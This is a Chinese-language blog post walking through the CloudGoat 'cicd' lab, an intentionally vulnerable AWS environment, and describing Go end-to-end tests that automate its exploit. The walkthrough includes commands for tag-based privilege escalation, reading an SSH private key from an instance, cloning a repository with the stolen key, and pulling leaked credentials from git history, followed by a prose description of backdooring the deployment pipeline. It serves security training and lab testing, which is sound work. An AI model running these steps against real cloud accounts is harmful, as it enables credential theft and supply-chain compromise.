写点什么

构建易受攻击的 AWS DevOps 环境:CloudGoat 攻防实战

作者:qife122
  • 2025-10-12
    福建
  • 本文字数:3742 字

    阅读完需:约 12 分钟

构建易受攻击的 AWS DevOps 环境作为 CloudGoat 场景

CloudGoat:易受攻击的 AWS 环境

CloudGoat 是一个开源项目,包含一系列易受攻击的 AWS 环境,可以使用基于 Terraform 的 Python 包装器在您自己的 AWS 账户中轻松创建。每个场景都有一个专用文件夹,包含其描述和解决方案。

示例 CloudGoat 场景

例如,您可以使用以下命令在 AWS 账户中启动 cicd 场景:


python cloudgoat.py create cicd
复制代码


此命令将运行 Terraform 来启动基础设施,并显示开始使用的说明。通常,它会输出一组 AWS 凭据作为起点。

贡献新的 CloudGoat 场景

直接链接:https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd

场景故事

FooCorp 是一家暴露公共 API 的公司。FooCorp 的客户每分钟向以下 API 端点提交敏感数据:


POST {apiUrl}/prod/helloHost: {apiHost}Content-Type: text/html
superSecretData=...
复制代码


该 API 作为 Lambda 函数实现,通过 API Gateway 公开。由于 FooCorp 实施了 DevOps,它有一个持续部署管道,可在几分钟内将 Lambda 函数的新版本从源代码自动部署到生产环境。


FooCorp 的持续部署管道。


您的任务(如果您选择接受):您将获得一个低权限 IAM 用户的初始 AWS 凭据集。您的目标是窃取提交到 FooCorp API 的敏感数据。请注意,模拟用户活动正在账户中进行,模拟对 FooCorp API 的活动。这是通过每分钟运行的 AWS CodeBuild 项目实现的。


该场景包含:


  • 3 个 IAM 用户

  • 1 个 VPC,其中包含私有子网中的 EC2 实例

  • 用于实现 API 的组件:

  • 1 个 API Gateway

  • 1 个 Lambda 函数

  • 1 个 ECR 存储库

  • 用于实现持续部署管道的组件:

  • 1 个 CodePipeline 管道

  • 2 个 CodeBuild 项目

  • 1 个 CodeCommit 存储库

FooCorp 基础设施架构图

利用演练

当我们通过python3 cloudgoat.py create cicd实例化场景时,我们会获得一个初始的 AWS IAM 访问密钥:


[cloudgoat] terraform apply completed with no error code.
[cloudgoat] terraform output completed with no error code.cloudgoat_output_access_key_id = AKIA254BBSG...cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prodcloudgoat_output_aws_account_id = 012345678912cloudgoat_output_secret_access_key = mjV9uB....
复制代码


我们可以在环境中设置AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY,或使用 aws-vault。我更喜欢后者,因为它可以方便地使用 CLI 和 AWS 控制台。


$ aws-vault add cloudgoat-step1Enter Access Key ID:Enter Secret Access Key:Added credentials to profile "cloudgoat-step1" in vault
# 使用CLI$ aws-vault exec cloudgoat-step1 --no-session
# 打开AWS控制台$ aws-vault login cloudgoat-step1 --no-session
复制代码


我们以名为 ec2-sandbox-manager 的用户身份进行身份验证,该用户具有 IAM 策略,允许我们管理标记为Environment=dev的 EC2 实例上的标签,并对具有Environment=sandbox的实例执行任何 SSM 操作。


{  "Effect": "Allow",  "Resource": "*",  "Action": [    "ec2:CreateTags",    "ec2:DeleteTags"  ],  "Condition": {    "StringLike": {      "ec2:ResourceTag/Environment": ["dev"]    }  }},{  "Effect": "Allow",  "Resource": "*",  "Action": ["ssm:*"],  "Condition": {    "StringLike": {      "ssm:ResourceTag/Environment": ["sandbox"]    }  }}
复制代码


一个 EC2 实例正在运行,标记为Environment=dev


我们的 IAM 策略不允许我们通过 AWS SSM Session Manager 访问实例。但是,我们确实有权覆盖用于访问控制的 Environment 标签:


然后我们可以访问 EC2 实例:


$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829
Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315# iduid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)
复制代码


在我们认证的用户的主目录下,我们找到一个 SSH 私钥:


$ cd$ cat .ssh/id_rsa--MIIEpAIBAAKCAQEApn/Tcy...
复制代码


通过将其指纹与账户中其他 IAM 用户关联的 SSH 公钥进行比较,我们注意到被盗的私钥属于名为 cloner 的 IAM 用户:


$ ssh-keygen -f .ssh/stolen_key -l -E md52048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11
$ aws iam list-ssh-public-keys --user-name cloner{ "SSHPublicKeys": [ { "UserName": "cloner", "SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ", "Status": "Active", "UploadDate": "2021-12-27T10:34:19+00:00" } ]}$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint' be:5e:49:5e:e5:d0:66:bb:91:30:3f:66
复制代码


该用户恰好对 CodeCommit 存储库具有codecommit:GitPull权限。使用 CodeCommit 文档,我们可以将存储库克隆到本地机器:


chmod 700 .ssh/stolen_keyexport AWS_REGION=us-east-1sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')
cat >> .ssh/config <<EOFHost *.amazonaws.com IdentityFile ~/.ssh/stolen_keyEOF
git clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api
复制代码


我们现在可以访问应用程序的源代码!


源代码中没有什么有趣的内容。但是,如果我们查看 Git 提交历史,有一个提交引起了我们的注意:


39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py88055fb Added requirements.txtbdf59bb Added Dockerfilef1cb341 Use built-in AWS authentication instead of hardcoded keys70f0181 Added buildspec.yml
复制代码


分析此提交的差异(git show f1cb341)揭示了一些泄露的 AWS 凭据!


使用这些凭据向 AWS 进行身份验证,我们注意到我们刚刚泄露了 IAM 用户 developer 的凭据,该用户具有codecommit:GitPushcodecommit:PutFile权限。


我们现在可以使用 CodeCommit UI 后门应用程序,并等待持续部署管道将其部署到生产环境!例如,我们可以让应用程序将秘密数据记录到其日志中(CloudWatch 日志组/aws/lambda/backend-api)。我们也可以后门应用程序,使其在每次请求时将秘密数据发送到远程攻击者控制的服务器——或者不接触应用程序代码,而是后门 Docker 镜像本身。


向应用程序源代码提交恶意更改后,CodePipeline 管道会拾取我们的更改并开始将其推出到生产环境:


几分钟后,我们成功后门了应用程序并捕获了标志!


START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATESTsuperSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643
复制代码

使用端到端测试进行持续测试

如前所述,此场景基于负责创建 VPC、EC2 实例、管道等的 Terraform 代码。Terraform 代码并非简单。我们如何高度确信它持续按预期工作?回想一下,在我们的上下文中,"工作"意味着处于可通过预期步骤利用的状态。


我们利用了 Terratest,一个用于测试 Terraform 代码的 Go 库。更具体地说,我们编写了如下工作的 Go 测试:


  1. 使用 Terratest 针对实时 AWS 环境运行我们的 Terraform 代码。资源实际部署到 AWS。

  2. 从我们的 Go 测试中,向 FooCorp API 发送实际 HTTP 请求以确保其已正确部署。

  3. 仍然从我们的 Go 测试中,以编程方式执行利用步骤,一步一步。

  4. 测试结束后,销毁我们通过 Terraform 代码配置的基础设施。


然后我们可以使用go test运行测试,无论是手动还是自动在每个拉取请求上。以下是"代码形式的利用步骤"的样子:


func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {  // 在实例上执行SSM命令以窃取SSH私钥  ssmClient := ssm.NewFromConfig(test.awsConfig)  result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{    DocumentName: aws.String("AWS-RunShellScript"),    InstanceIds:  []string{instanceId},    Parameters: map[string][]string{      "commands": {"cat /home/ssm-user/.ssh/id_rsa"},    },  })  test.assert.Nil(err, "Unable to send SSM command to instance")
// 等待SSM命令的输出 commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{ CommandId: result.Command.CommandId, InstanceId: &instanceId, }, 2*time.Minute) test.assert.Nil(err, "failed to retrieve SSM command output")
// 我们成功窃取了SSH私钥 return *commandOutput.StandardOutputContent}
复制代码


--- PASS: TestScenario (248.47s)PASSok    github.com/cloudgoat/tests/supply-chain-security  249.070s
复制代码

结论

我鼓励您尝试这个场景!更一般地说,CloudGoat 有一组有价值的实验室,包含许多真实的 AWS 漏洞。


您对这个场景有什么看法?您如何测试安全实验室?您希望在 CloudGoat 中看到什么?让我们在 Twitter 上继续讨论!


感谢 RhinoSecurityLabs 的 Ryan Gerstenkorn 提供的出色贡献体验!感谢您的阅读。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
构建易受攻击的AWS DevOps环境:CloudGoat攻防实战_云安全攻防_qife122_InfoQ写作社区